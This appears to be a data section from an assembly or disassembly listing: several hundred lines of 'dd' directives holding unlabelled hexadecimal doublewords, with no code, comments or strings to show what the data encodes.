dd 2C09EAD2h, 0E29041E6h, 55027428h, 5C1024D2h, 0C9C0B8DEh
dd 2E78DBBh, 2090D6E3h, 9850E8AAh, 0F8D9DD0Bh, 0ECEEAEh
dd 249B90E4h, 0CF2F4DC0h, 17A15B4Ch, 0C4C8E312h, 0D07E1CF8h
dd 2B168061h, 0DD801BBCh, 59ACA100h, 108AC23Eh, 7C810E55h
dd 2EC749BEh, 14C0CEA4h, 386A74E6h, 861AC0BAh, 0E679E4D7h
dd 6FD300ACh, 2823FB24h, 5D0F4C21h, 0C1E6DA3Dh, 44A6086Dh
dd 605B3870h, 0D79331B2h, 4099A41Ah, 7F4E9080h, 1CF2E3h
dd 0BB92EEF1h, 0A0E1DD37h, 0D7D15F02h, 851A828Ah, 50ACD844h
dd 894611A0h, 0FAB64D0Bh, 7CDD0155h, 0DA20C439h, 0AD2003FFh
dd 0AAF4C8A5h, 7CB3314Eh, 2E51F21Ch, 7CF03E2h, 0A04CD43Ah
dd 19F4C0B8h, 705AD0h, 0C316BD20h, 5CFD4F5Dh, 0A3D2C19h
dd 0D4203799h, 27785E45h, 7C8F48CCh, 0DBC0616Ch, 1832F9D9h
dd 0EA71BE0Ch, 1D2D296Ch, 86548235h, 487056DBh, 329254h
dd 0B5F74DFAh, 4F008ABDh, 7BB802DCh, 0D3175853h, 0CB1000D9h
dd 0B5B17D22h, 750090A6h, 0F65CB4C0h, 3D76ADC3h, 0B280231Ah
dd 0A7E9407Fh, 0A5587DA2h, 0D7CC0730h, 0B615105Dh, 0B5AAB280h
dd 46C0C01Ch, 5B327B88h, 27E9DC4Ch, 5E540B3Fh, 50084178h
dd 0D16F60D9h, 4DF2061Fh, 2F7D7181h, 0D3F6891Eh, 20E0B0C0h
dd 0ACB981FFh, 47170602h, 0D5486032h, 988B8AD3h, 0AC688474h
dd 91FE6F60h, 3DE8B682h, 0D1444001h, 2ABCA2A5h, 0CDDCF804h
dd 0D800F8E3h, 0C50714E3h, 0E3A07C32h, 9900B61Ch, 0F24D2044h
dd 1D9EB5D7h, 0E7BE37A3h, 7D01D77Ch, 7CBAAF4Bh, 0C96E47F1h
dd 0E489D58Ch, 0E4755AD8h, 282C4112h, 0E50888h, 37622FE1h
dd 0BEC0ABE8h, 83656C00h, 0C543A0EEh, 169098F0h, 0A22E7E38h
dd 0A29001FCh, 0E82860B4h, 0DAD46721h, 23352726h, 0E885CF3h
dd 807F9C9Eh, 0D9230CD6h, 6BFFEECEh, 3EEC6CCDh, 3F8000C4h
dd 57FD2544h, 0A83CCFF9h, 779D0083h, 7ED1D7CEh, 4E6909ADh
dd 38820E13h, 0A0FC5401h, 0C2BACF58h, 81F6E219h, 0FE6CCCA1h
dd 0FF47353h, 6B5A82E6h, 40DC5C49h, 71192376h, 0BB8AAA00h
dd 0A39C2113h, 4A3D01E4h, 9D333593h, 80F839C3h, 7542BBA9h
dd 0DDEF0044h, 5B9B77BEh, 939FA416h, 3B729850h, 0F19648B3h
dd 0E6EAF700h, 0A20AFD33h, 0D2BE8361h, 207BB942h, 142192ECh
dd 940A3A72h, 7057ED35h, 0EE57969Dh, 0AE00CCE3h, 11DDC7F4h
dd 5A04CE4Eh, 8203C510h, 8888D384h, 0A834420h, 72FB1D05h
dd 0F9C0DC38h, 0A5F57Bh, 4B141810h, 25B6C002h, 8FD2BE1Ch
dd 4953D428h, 81DC22B4h, 500859C0h, 155B10E9h, 0D486805Ch
dd 76C0149Dh, 7AE10067h, 0E9241E01h, 0FD7F3D98h, 0C22285Ah
dd 0C00A248Ch, 0C242B8E2h, 3050DE00h, 90CAB2E0h, 0CB1507F3h
dd 0A33153h, 0E772F805h, 69875804h, 88CEFC6h, 318C160Bh
dd 840C32C7h, 3BFE0A20h, 6AB10030h, 0F5E27462h, 491C4433h
dd 0C7005CB5h, 0EC777C65h, 642D4853h, 0F581E501h, 2258ED36h
dd 0BF430024h, 4278233Ah, 885B5F50h, 0B512B98Ch, 4302826h
dd 7C21BAh, 71D29FC2h, 5F68E7A7h, 5CD6D709h, 8BB480ACh
dd 97C334D1h, 0DF4458C0h, 0C4383714h, 0EAB7C0A0h, 0D50483h
dd 0AD4D1D96h, 6E9EF3C0h, 0E5982C69h, 760A3808h, 9ACE66h
dd 0AD3D2F9h, 8D3D9CC4h, 7A5A18D7h, 5554629h, 8C2B4890h
dd 0C42CF91Ah, 2C11B9EEh, 3936321Fh, 1D13A400h, 0FA9ABEE7h
dd 58A03E4Ah, 0BD153A3Ah, 4E622204h, 0B009EBD5h, 0AF84A087h
dd 9E6D6C9h, 0C1CC7743h, 10277CDCh, 72FBE94h, 7195D1A2h
dd 9ED6E003h, 0A17DB214h, 26C61D1Fh, 0AE98AF40h, 1F5C77FBh
dd 401E547Ah, 1908C8A0h, 9C004244h, 8FF02B45h, 18B9047Fh
dd 40A0839Bh, 8E007ABFh, 0B17CA822h, 0C094032Eh, 23F59F18h
dd 28C69EB4h, 318114h, 36C119C6h, 7A0AAC4Bh, 1E289B62h
dd 0C24079Fh, 0D9312EFCh, 74DB4993h, 42A00881h, 0F4E2F37Dh
dd 5C982672h, 62158900h, 1F64BF9Bh, 0C0330612h, 79B16F91h
dd 0E968DB1Eh, 3EBC7Eh, 71C3497Fh, 0FE03BF15h, 1F2E14A2h
dd 82858FEh, 16250044h, 0CE7DEA60h, 850E0B34h, 0C587F715h
dd 0DF0A91D6h, 9A86A084h, 30A1757Ch, 2679B06Fh, 0A80F5E43h
dd 80AC150Ah, 5AE84612h, 4C00079h, 92A7D9Eh, 7F00C13Ah
dd 577C874Bh, 0A4B924F6h, 0B1804498h, 21A40700h, 2EE4C97Ah
dd 14B9E09Fh, 3CDC3E66h, 0DA370101h, 0F87327A8h, 71009167h
dd 8A5EAEB1h, 3DF49Dh, 0FF01BF95h, 70D003F8h, 0BD815500h
dd 728496D2h, 332EF041h, 9E518B7Bh, 0E1781BBBh, 61270238h
dd 0EC1E8724h, 408CE761h, 7731B1DBh, 5398F600h, 7A2E1789h
dd 7D24A08Fh, 430901BFh, 87FA5104h, 0EF74C030h, 0F815238h
dd 0C15A34D3h, 0D9BF6E29h, 0E6D71C40h, 8C45076Fh, 656826DBh
dd 0C28C40AFh, 69D1FC1Ch, 962DB90Fh, 9D24E0E0h, 0C6403Ah
dd 1CC7C5Ch, 209AE614h, 64890A4h, 77708008h, 674753h, 9BB32C32h
dd 8FDC1AD9h, 0B0004E8h, 0A8453439h, 0ACC53B8h, 97367D37h
dd 0B5CA8084h, 0DF6BC4A5h, 0A0DD5A00h, 50892508h, 0FAFC77h
dd 0E69D205Ch, 297ED91Eh, 30887C22h, 4A81B606h, 0D5E84333h
dd 1C0EEE01h
dd 0FF6BF84h, 48087045h, 1B3142A3h, 14F1E20h, 18FB003Dh
dd 15974C7Eh, 830184AFh, 16247827h, 0C0201BABh, 0C0A04517h
dd 4248123Eh, 0DF6603D8h, 0B36FF5h, 3C57B569h, 7AFD2CA5h
dd 0C3F9E700h, 0BF030D26h, 0F7B60E0Ah, 27A19E52h, 226F57A8h
dd 0B5F1074Ch, 958287F6h, 0B428A1B3h, 0C1E46AD9h, 169D0F2Eh
dd 5C40107Fh, 0E5A25021h, 99961533h, 0F49CC028h, 33611ECFh
dd 76D04934h, 1AF52802h, 438BE26h, 275BD604h, 0EA488054h
dd 882C3DC9h, 0F420D965h, 0D89106F0h, 0DF1F8300h, 2838F5C4h
dd 0FEC0D3A3h, 90E4E8FCh, 6C8300A6h, 0CEFD2703h, 41C08418h
dd 6673A10Dh, 2FB70746h, 0B2243001h, 0BC913EF6h, 4885607Ch
dd 1DFF712h, 9182FC0Fh, 9D030D3Dh, 4F3C8818h, 0FD210498h
dd 0A6232918h, 979EC9h, 342E8DE4h, 7D5C0419h, 297E60F7h
dd 0BF28A875h, 0B914A0CDh, 3E2C9AAEh, 1841EC7Bh, 0C67C889Eh
dd 0AA1F2909h, 0A32C10DCh, 0A4760031h, 71C0CBC1h, 0E90A30E3h
dd 0AC35E71Eh, 308C22C4h, 1A228608h, 0C525121Eh, 6FE820DCh
dd 0D009FD1Bh, 99F3CF89h, 0A5F8F534h, 0B46070Ah, 0E0641B55h
dd 0AFB9F78Dh, 21686C01h, 76752E66h, 2B2443h, 0DA317D61h
dd 0E3D37CD9h, 4712400h, 764C5554h, 0A6F80015h, 0AFE55311h
dd 0A1C6921Dh, 149B9DBh, 0FD0C13EDh, 0FC5A231Ah, 840049F8h
dd 0FBD16BEBh, 541434C9h, 726949Bh, 4F420C01h, 9347A0DCh
dd 8C26E104h, 2E426836h, 0DAC0F527h, 2335B759h, 861F196Dh
dd 801642C0h, 9040892Fh, 69150056h, 0F78335E8h, 3800D2E5h
dd 29329EC9h, 0C71C0BF6h, 0C7122EE1h, 1857C687h, 379EB322h
dd 61A71Eh, 0CB301587h, 5041E4A2h, 34B910A6h, 0BFC1C09Dh
dd 506B9504h, 44D7CE2Ch, 0A46CE70Ah, 775C2F41h, 78ABB0DFh
dd 65BC0035h, 31170A70h, 43001595h, 7D5DD73Ah, 6713B1Eh
dd 6F01C77Ch, 1C0091B7h, 660A49D3h, 7A8780C8h, 0B9520EFAh
dd 1322A5Eh, 0E0EB9490h, 0FEEC6083h, 0E116220Ah, 5C00206Ch
dd 7B853389h, 0B470530h, 177F3Ah, 8EC653A4h, 2898A129h
dd 20142609h, 30C8294Eh, 0C5973Ch, 3D6AD421h, 526A406h
dd 103A0C09h, 23C402A1h, 0B98A0F6h, 15C09BAh, 9AABFD49h
dd 0C8935319h, 776FBDE7h, 0EF4A860h, 0A80435D2h, 0C178848Fh
dd 509C3190h, 0A0150A8h, 0D91C3605h, 1AC4C891h, 44E6B8C2h
dd 70DB4808h, 8B239480h, 0C61C3DACh, 7FC0206Fh, 0C1E03C50h
dd 0E9700E7Eh, 0A6E395A4h, 40B6B639h, 49F92030h, 74DDE5D6h
dd 0C5280F14h, 0AC0E36Eh, 87B119B0h, 89592700h, 0A61C5FCEh
dd 0A197612Fh, 84A4779Ah, 377C9E81h, 0A68088h, 1E31817Eh
dd 0C4EFC302h, 0D0E5DA00h, 928E50D1h, 304B1CBDh, 0AFF0853Eh
dd 2CB404F6h, 7842019Fh, 0B0D83BF5h, 0D847266Eh, 48F100BBh
dd 155E69A8h, 23780800h, 0B11AB78Eh, 14A6F27Dh, 0E4BFAD61h
dd 0E5CED848h, 3F86E840h, 491D6EFAh, 798002ADh, 0D6784A8h
dd 538F012Eh, 0B4D9A6B1h, 261883A3h, 0A681F259h, 0D8940328h
dd 862A6E1Fh, 8AC23087h, 4A7B38ADh, 0DFC74811h, 0D5EEB500h
dd 0C834E297h, 144CE903h, 26D9C195h, 3B421h, 581B6C4Dh
dd 5A03EFABh, 8382317Bh, 263CD04Ah, 499DF89h, 6CB355h
dd 1BCBA1D3h, 0B954615Bh, 0BCAC7006h, 65B800A8h, 4CBEE58Ch
dd 0F4FA01F5h, 0F22AEFDAh, 0A479807Ah, 3A0D70E6h, 0F03CE06Ch
dd 0E8160088h, 7E85302Fh, 590774D5h, 0A908EB2Ch, 78AA86A0h
dd 9767159Fh, 0F1008887h, 45F33DB0h, 5F985066h, 67A70F00h
dd 2D380B37h, 2CC20078h, 0C4260A1Ch, 1A03AF96h, 0AB6B5607h
dd 0F38FC0C3h, 0CD18CF8Dh, 0DA6A3880h, 9F00D824h, 0A7F11C41h
dd 11A132Dh, 775501F4h, 879251C0h, 0BD20EE31h, 74A6484Ch
dd 8D8083D0h, 6B07AA5Eh, 5F8225CFh, 0FF4257C0h, 0E7F60624h
dd 40A0C8C7h, 0E90309F8h, 12B23C2Dh, 0B085BBF9h, 66E0F40h
dd 24EEC944h, 0B70361B0h, 4B9E03D4h, 6DC91E80h, 0D5A78C34h
dd 163BB679h, 266E8192h, 6B9EDE36h, 46BAF0h, 548FB283h
dd 20F09FDAh, 0BF152100h, 0A7966391h, 3451C00Fh, 38C9A523h
dd 0CB119900h, 0DAACE576h, 2FF9063Eh, 0F9C853C0h, 30132100h
dd 0B8D840EFh, 2940C03Fh, 6CBDB51h, 0EBD5400h, 3635D07Dh
dd 0C0CE1C37h, 0C44D882Eh, 0B4064080h, 0FC5383h, 191B688Fh
dd 0D641A06Dh, 0C657EA01h, 0D34B29C9h, 7EFECCE0h, 7DF0CBh
dd 0BB44B8B1h, 54C1B268h, 2E2AD400h, 0DADDD6B9h, 1D3A01E0h
dd 0C9AEB0A8h, 0D12BC07Ch, 587C9477h, 19B4F030h, 38F41F66h
dd 0D58041FBh, 0FDF2B44h, 0E10F4AC2h, 4020B20Eh, 61D38EDCh
dd 0F8DAA39Eh, 0FCF5DD1h, 0D2D0EED7h, 1BCE2180h, 0F3061910h
dd 0DEF18EB8h, 6E3E0C10h, 23303501h, 16BC0440h, 0EF6B4D8Eh
dd 6011880Fh, 8B12F035h, 1153606Dh, 96C53466h, 0A586D101h
dd 988F0709h, 2180C3D1h, 0BBC53C93h, 0EB3B17DEh, 0FE4900EAh
dd 5CA188C2h, 0D559CF09h, 5E8C5240h, 0F733AD94h, 3DBF0965h
dd 5200F521h, 47CA5D4Fh, 19C1E32Fh, 91C42765h, 30CE6E0h
dd 5CB192ACh, 0C0042CCFh, 702D3F04h, 0CEFC8901h, 0B1188002h
dd 675F8D34h, 4010DED4h, 9E1C5B74h, 5C00D5DDh, 0D1C969FEh
dd 7D42510Ch, 169B1C84h, 26C047A2h, 28B80046h, 92004811h
dd 18A6D5A1h, 334BBA9Bh, 0EA08B331h, 98F12100h, 92AE4D5h
dd 7B41488Eh, 5DAD1Dh, 0AE0884AFh, 860719D0h, 4CDE98B2h
dd 68384Ch, 232FE92Ah, 0CB1A53F3h, 3008ED66h, 2880321h
dd 0C1121DE9h, 4620EAD0h, 0C017DD00h, 839CEFB0h, 0AC58C1BEh
dd 4B1126E6h, 0C73D8830h, 0BA2130A2h, 7303549Ch, 0FAA4D4F5h
dd 28D86E75h, 27625D00h, 80639B2Ah, 0C84F8270h, 6D55A0h
dd 0B0BFB74Dh, 3A7D16CAh, 88397360h, 32C08F1h, 0AE6C93AFh
dd 8305BA9h, 496F2160h, 97650109h, 900FE6B8h, 0B9508816h
dd 0D7DB00EDh, 6BE76304h, 0EE001CF4h, 0FD47731Ah, 97E1E8h
dd 89481631h, 391EDE34h, 0C0004CB0h, 6D2FEFD5h, 0AEAC13h
dd 5F2A08A1h, 0DDB73315h, 0A7E24600h, 300198C1h, 41536096h
dd 0C404F5CDh, 838C1E38h, 7CB9C9DFh, 26E88855h, 622D30E2h
dd 67B24628h, 17204917h, 0A37FF03h, 93598F1h, 0D5B00078h
dd 0B96615CBh, 92071760h, 0E3FC853Ah, 4E649BC0h, 9748069Ah
dd 183B01F8h, 18E7D73Ch, 0FB908CF4h, 0FE8B0346h, 350FA031h
dd 8A897007h, 3A8765F6h, 2DE51240h, 6B900F7h, 0A555634h
dd 136062F2h, 0A1C57518h, 97053CB4h, 0A00BE900h, 900ACDE6h
dd 8048BAF7h, 0AA1B1441h, 449FB8h, 0F9EEF3Ch, 3C18EA0h
dd 4D266700h, 0E2930536h, 7ECA1CB9h, 5C3E804Eh, 0E91AD148h
dd 0F3AC2600h, 0C70F2710h, 0C87800C0h, 0FBF29BA1h, 78B8A4C2h
dd 0DDD78D07h, 4CD73F10h, 846BCCC0h, 0C0C637A6h, 0ECEFC070h
dd 2651FE10h, 0AE76D808h, 0E44DCD00h, 791FEBA5h, 0C197E8A3h
dd 0ACDFE521h, 248946BDh, 17AE3300h, 0F3429828h, 3E79C00Ch
dd 51133D2Ah, 9A10FF61h, 408F0D47h, 0F080E89Eh, 8E72C8B9h
dd 0AFF5C8C0h, 7B27EB66h, 0B2DF0039h, 7E43C9A2h, 0D07F7B29h
dd 47803Bh, 744C1246h, 768AC61h, 91DC5783h, 8541735Ah
dd 81B3E0CFh, 0A7002BF5h, 75BA0B0h, 794A606Ch, 2F8206B9h
dd 10636169h, 0F0045F53h, 0C08ACF8Fh, 520B8110h, 2813E71Dh
dd 0F5001090h, 0D0C93C2Bh, 2E8E01F7h, 81A21C3Ah, 0FC1441BCh
dd 8FCA000Fh, 0E0680088h
dd 0C070B6E4h, 0DE0079F2h, 0D42977BCh, 1F430F8Ch, 164FA7Ah
dd 2A65AA3Eh, 440930B0h, 3AF3F900h, 2B82504Bh, 813E03FAh
dd 0C662C74Fh, 5539F6C0h, 6800A4F0h, 0DCE0BF84h, 75FA0DFh
dd 0A8771C40h, 2516306Eh, 1D752F24h, 6071561Ch, 9C1132C0h
dd 0DB87EAh, 39BD153h, 0F4BB8EA2h, 0A45FCC18h, 3E78F711h
dd 0AC011C9Ah, 621A2DB9h, 0D2904051h, 36E4434Ah, 37A3A200h
dd 3BC086D4h, 9A023946h, 83666B00h, 0B3A9E538h, 9B00777Ch
dd 3C228071h, 3E9A984Dh, 7400FC36h, 97317B68h, 855CAA5Fh
dd 20171F32h, 42797040h, 0D1C225h, 0C74EE988h, 24F5BCF6h
dd 5C047200h, 89C84D4Fh, 13580014h, 366553Dh, 0A2031D2Dh
dd 0FDED4572h, 0E83188A8h, 0B85460CBh, 0BFF067E2h, 0DEACD803h
dd 0D01419C7h, 123943Dh, 2AA22612h, 0C0D332ABh, 91009CD1h
dd 9D534219h, 76515D6Dh, 2863009Bh, 97620365h, 0C8A839E8h
dd 3B0B9CE3h, 60F781Ah, 196C17h, 3C8743E6h, 10A78E68h
dd 5D724900h, 61BE7FE0h, 56980269h, 0E6B52230h, 99AB8940h
dd 82DBAD01h, 0C7E16ADDh, 0F64997h, 79D713A9h, 960A056Ch
dd 0C80EBAD9h, 0F8C3E680h, 389D347Bh, 0D08085ABh, 0F2D62AC4h
dd 0A800E1A5h, 57D3D27Ah, 2B3D21h, 0AE9598E4h, 23DA15BAh
dd 0F840500h, 0D6A56FAh, 0EDD71829h, 31BF78C4h, 7819B700h
dd 0E29D2430h, 32530003h, 0E14867Fh, 0D20729DFh, 169586Eh
dd 66B780F9h, 60C2AB8Bh, 55A111A6h, 300A2BCh, 0F610BA5Ch
dd 16ABACh, 1BCAE545h, 0D87602D0h, 9E309400h, 187F0FFh
dd 0C65307B8h, 0E1134899h, 0C8022390h, 0EC927F30h, 8F8B3700h
dd 80702A9Bh, 66D70035h, 0D178328Ah, 0F800A3E7h, 2839C1B2h
dd 77733EAh, 0A6A17FB3h, 0ABB89171h, 0A812F85Fh, 0BA8BFA02h
dd 60F366C1h, 49720h, 2EB8696Eh, 0FDB96292h, 73453Ah, 0E1B23139h
dd 0A644ABh, 7B8036ECh, 0A293198Ah, 0E6EDE400h, 70DE47F2h
dd 0F92C0FCCh, 60ECEE64h, 730180B0h, 0D1F12FC6h, 50804BA2h
dd 9DB32C48h, 0B878FED3h, 35D58000h, 58A243C5h, 7CB7265Dh
dd 0BD0D8048h, 34F1E802h, 381C2EE8h, 6CC05B46h, 35958F22h
dd 0E4C0043h, 2A41ED5Ah, 9D002328h, 24C05ED1h, 71D6505h
dd 4885F1AFh, 5058D708h, 0E455C688h, 0A4DA7200h, 51980F02h
dd 0D9D70097h, 23FB6908h, 2B0FF98Fh, 6ADBCCC9h, 0EC0099B0h
dd 8754F6A9h, 15403EEBh, 0BA7F478Ch, 0C100DAA8h, 5D9F3A80h
dd 0F9662Ah, 0EAB5920Eh, 1A460313h, 95EC2D00h, 0E9B7DACDh
dd 0AEA501EBh, 0E311F0B6h, 46B8CB08h, 80B090D7h, 0EBDCFC01h
dd 0B277F7E8h, 5FA2CD40h, 15BF142Bh, 570BF0F5h, 0C700E36Ah
dd 95313C77h, 737B2F00h, 0B3BB03Dh, 515F6E96h, 113C34Fh
dd 5667859Bh, 83202031h, 3B2939h, 6032282Dh, 13F47CD9h
dd 3CF12C3h, 1985A06Ah, 9835BBA0h, 133FC171h, 72068008h
dd 0D93F333Ch, 26F80059h, 2DE7D655h, 92178C49h, 9B00F395h
dd 0B001D929h, 7760060h, 0AFD39E97h, 4E1D8906h, 3F40046Dh
dd 1C97C9Fh, 78600066h, 12CACFDCh, 85000CA2h, 0ECE23F0Eh
dd 0DF9749h, 5AD3BF51h, 98A81CDCh, 1F92A006h, 20EA62h
dd 0E3A9FFF5h, 0AB79B33Fh, 0EFC56500h, 0FDC16146h, 6660E1Bh
dd 4060C473h, 0D2EC1778h, 2ABF9A03h, 0E9508560h, 9EFC958Bh
dd 0CC230B7Ah, 4001630h, 93F6CE3Ch, 9061332Ch, 7431DC13h
dd 606C6D8h, 6C74BE00h, 3E18F6C1h, 8900068h, 2EE13867h
dd 5590CE82h, 49733A00h, 0B74A75FDh, 8605006Dh, 8E02761Ah
dd 8D079013h, 2D367C85h, 0B0233C23h, 6321EE9h, 0A7C3BDE2h
dd 420EB222h, 0A059BB2Fh, 4B99A2C8h, 95E30079h, 0AF5116C0h
dd 2400B691h, 801FA602h, 2641EEh, 0D0B93533h, 81387C98h
dd 45993100h, 0FBBB8A68h, 7F7D00DCh, 0D6FC70ABh, 98030C58h
dd 0C6551DE8h, 0E312D882h, 457E06h, 22F4AD27h, 0FDF1EE4Fh
dd 0DE893Fh, 8372881Eh, 609EA624h, 7793807Eh, 5F2273Ah
dd 47BAA500h, 0A811A18Fh, 6FFA0079h, 686E099Fh, 16002C59h
dd 0CE745F17h, 3F398DDCh, 182E0593h, 2264009Eh, 16D2FAAFh
dd 0BBBCAD01h, 236A29DAh, 0E4AB19FCh, 6CEB01C7h, 6FA76849h
dd 0EA05CC90h, 97A44C03h, 7C93DCEEh, 70D7F70h, 0DE621D3Bh
dd 477A77D2h, 749CB0D4h, 7C60A485h, 0FDC42928h, 709200C0h
dd 6D72C146h, 0D100D5E3h, 0BF2A4E5Bh, 7D2CEA7h, 7C1EA41Dh
dd 0CCC120B6h, 0E1FFA52h, 18027DBh, 0E66CDAEEh, 58B00012h
dd 0AF33A681h, 9503157Eh, 2942C92h, 3621006Dh, 39DA6FDh
dd 83F046AAh, 69005BF8h, 871590FAh, 1F70097Ah, 0FB93592Fh
dd 0C466610Eh, 29A5C05Eh, 0F7DF6F3Eh, 0CF63AD03h, 0EA8E7688h
dd 0EF1AE0C1h, 6E240092h, 7089B462h, 130147FDh, 275597C9h
dd 6F41581h, 38EECD2h, 7DC2C76Ah, 0BEA8F776h, 0F100DB6Ch
dd 8DD1EAB2h, 3CBD7016h, 0F40001FCh, 8B2BA3D2h, 673DA10Eh
dd 909F94A5h, 0EEB20098h, 2C85D393h, 10BF009Dh, 0D5121689h
dd 0FE00DF7Bh, 0EDADC419h, 394AAF6h, 0ACE2B676h, 0F9786E9Dh
dd 0BF027E0Ch, 0A4121113h, 854A3088h, 54526810h, 3BAD2405h
dd 0A001E405h, 26EBE121h, 76605BDDh, 69150CE8h, 0C129AD9Ch
dd 0CA463D84h, 22848340h, 0CD428B0Fh, 21D1E611h, 0AB5908BFh
dd 0B400C991h, 121057BBh, 9600AC41h, 0D2B13EBAh, 3489DBh
dd 91334866h, 0E8F14FC8h, 0AB14EE03h, 0E35FDA80h, 0E581F8FBh
dd 19E6008Fh, 1D5B1C0Eh, 2EF6B9FFh, 0D0AEBC00h, 731696Bh
dd 0EF7E00D2h, 0E344D748h, 0AD031C70h, 0DB5B8872h, 4EAE8806h
dd 0D98009Ah, 522DB146h, 9E3EC14Ch, 0D7158061h, 5003CC9Dh
dd 85CA00FFh, 0BC8F3001h, 9B002A0Ch, 0D82C239Ah, 0E57D570h
dd 0CED41BDCh, 0A4B6E40h, 0D0F58C9h, 7C03E9h, 3A1BE146h
dd 233200E3h, 0EDFDD4D0h, 4E01CA04h, 0E0E4F8C5h, 0DC508B11h
dd 13E8D25h, 0AB0901EFh, 0A40A48E8h, 80399568h, 8A465CBBh
dd 9B77C8h, 3C97E9EAh, 0E16D5F78h, 57770198h, 85D9A800h
dd 0EED0E6C0h, 6BE400F0h, 7BADECA1h, 68C0E54Ah, 0A730FE71h
dd 29330FCCh, 81E0C617h, 59F04FA3h, 0A2F54900h, 44BA3205h
dd 5CDD0056h, 0FFD9D2E0h, 533DC820h, 7325801Fh, 0F83805F0h
dd 9AB70085h, 0F4C482CCh, 86904455h, 0A607B5EEh, 0AB7AC8C2h
dd 0B0E7BA80h, 0A7750024h, 1362F04Bh, 6D052D74h, 0D8716B1Ah
dd 4B4F103h, 0E157E8C8h, 5F980050h, 0B0D5533Eh, 0C000379Bh
dd 714F2740h, 1448263Bh, 0BC8F992Ah, 1B3D6000h, 9D673C0h
dd 52471F00h, 2C6C7664h, 6DDE06BBh, 21EE1CEDh, 9A01DD1Eh
dd 35C3DA00h, 0F46F4021h, 4C1B77BBh, 79BC8Eh, 91604BD3h
dd 0BD12D250h, 2713A200h, 96EF83BFh, 0F287002Fh, 48E3E90Ah
dd 7B82DD3h, 0CCAF6412h, 76F60B00h, 3815AE1h, 0DF36826h
dd 93E82EAAh, 0A200B486h, 8D1CEE43h, 9670B3h, 0FBA5E7E4h
dd 109BCA25h, 0D2BC020Ah, 5400900Ch, 0E72126B7h, 0E5B0001Bh
dd 7CD148F9h, 6226606Bh, 0FB1D19D9h, 0F7865D80h, 1FFA192Fh
dd 4072D052h, 2267976Fh, 0CC00092Bh, 94440A87h, 0F22EE5B9h
dd 0B1D84841h, 0F7020400h, 84117D3Bh, 0EF2C2F0Fh, 49502099h
dd 0B1CEFAh, 5A9AE9BDh, 1E32038Fh, 0D2769E00h, 0F03EEA66h
dd 5CF101AFh, 146DBA50h, 72C3F005h, 0AE0F3800h, 0D8555B6Ah
dd 0BAE300CDh, 123EFC50h, 0A401644Eh, 51A33BABh, 5BF841B0h
dd 0D05A0038h
dd 0B136EF3Ch, 37008883h, 46B4FCE7h, 0C8CD7Dh, 0E0EC4DD4h
dd 9F0EC258h, 0CE13AB03h, 988F78A7h, 7CC3271Bh, 69F33B76h
dd 0A1B5E580h, 8ED56C0Dh, 0E2676D18h, 0CEC2C8h, 0B1523CAFh
dd 317C576h, 9B2B0200h, 29DB88AAh, 66D40016h, 0B61A2047h
dd 600809Fh, 78320E44h, 7EC98592h, 34F800D9h, 6BDE6CA0h
dd 22039697h, 8C4FD006h, 5117C9F5h, 2641CBECh, 0EABC6Dh
dd 0B514A8FEh, 49034F15h, 71BD892h, 78DED02Ch, 240800A9h
dd 0D0FD0FDCh, 3E00F84Eh, 8C7364D4h, 0E7ECD71h, 638FAB08h
dd 0E0A38A87h, 1332E8D2h, 0C6470C0h, 3FCB2F3h, 0D6267DCh
dd 1DD015ACh, 7301E2B3h, 50BB990Bh, 0FDF4ED46h, 4D7785h
dd 0A1687E15h, 8E03C9BCh, 0ED399772h, 63880125h, 6FCF98D5h
dd 6189DC40h, 0B5BE1C5Eh, 8BC9C004h, 72CE477Ah, 6E82ED0Fh
dd 0DB24E07Ch, 0E9EF337h, 0F4635867h, 591714C0h, 250EDE7Fh
dd 0BF371092h, 0C6294240h, 777484Fh, 642EA4E7h, 624B70CDh
dd 8603F826h, 4A114716h, 0F763E02Fh, 0BCF832h, 0B68C18FCh
dd 0AE0EA4C5h, 331D90B0h, 29C09941h, 0FFC4E5D9h, 1139005Dh
dd 31680D38h, 0B7004E81h, 46D403EBh, 34BB46Fh, 6A4CA751h
dd 0B180D033h, 1B98C0BBh, 4F28CF8h, 2CD27E0Bh, 0D642008Ah
dd 0F1CD4BDh, 49EDBC4Eh, 484AA700h, 0C90F4452h, 0E09562BFh
dd 0A30B1D38h, 6B2C0072h, 1044D70h, 12E4458Ch, 21FD0700h
dd 5A283202h, 0BF4E0037h, 9EDA6B85h, 0AC009168h, 58D2AA40h
dd 941C12h, 0FCDB50DEh, 7E8DDD9Dh, 372A3Fh, 0F23CDF83h
dd 122D70C8h, 5BACCh, 32E09568h, 42006816h, 8AF56E6h, 0FFC3Ah
dd 0CD3075F1h, 6D0EDAF4h, 0E6A63Eh, 0B5F7946Eh, 2D9818h
dd 97CEBA7Eh, 0CB24FD20h, 4D9A9C00h, 54BEC321h, 4907394Eh
dd 0BCA68480h, 246372F4h, 3FF8AC00h, 0A03594FDh, 311C006Eh
dd 86B327C0h, 38004761h, 8FC88498h, 0D3F8B6h, 376422E3h
dd 945AC33Eh, 32CEAA0Fh, 80B4291Bh, 0A0EAEB2Ch, 57FA1207h
dd 0C0B21C09h, 8FFD2CBFh, 67005A43h, 0C1DFA803h, 1F801E34h
dd 0C3C765F4h, 9122EA90h, 29BE38F8h, 68C09A03h, 88CE26BFh
dd 5B525Ch, 0B5EF5EC5h, 66BDA59h, 584A48h, 6D955DD3h, 1A54CFh
dd 9D4EF060h, 0B87AA92Ah, 0AE4152Ch, 6D49AA00h, 0E62870C3h
dd 82DC001Eh, 1FE2F9B4h, 2A001044h, 1ADF77ABh, 713A84EFh
dd 0DFD00B7h, 0B14A70FCh, 0EC003EA0h, 8442DC73h, 1FD2C35Ch
dd 0C132236Bh, 6865F57h, 0F800F7E1h, 0CFAB5D13h, 7271F80Dh
dd 8E3738B1h, 0EAF4C003h, 508F2679h, 54666D7h, 1CFFA900h
dd 5AA44CDDh, 9AD7B0Ah, 0A73E360Fh, 72DF401h, 0F8D68034h
dd 0C46A25DBh, 0EBE900FBh, 4D69E433h, 6E007141h, 0B2374A88h
dd 0EE2DC29h, 94EF2B2Fh, 0E100EB09h, 6474DDC6h, 0A1ADA901h
dd 17951EF8h, 0A0B36BE0h, 394ED7DCh, 0C08043FBh, 4DD6A585h
dd 592C2002h, 0E68E6CB8h, 40CD0FA4h, 0AE6F8C4Bh, 9064FFF3h
dd 855E0EDDh, 0CE0F502h, 0D0AFB46h, 4FDCC750h, 308642F8h
dd 7EB04053h, 0A1000E48h, 307A8E15h, 1916421h, 0C38D1FF4h
dd 2001ABA0h, 283E74F4h, 6541008Ah, 9E34DA1Bh, 7F0E01C9h
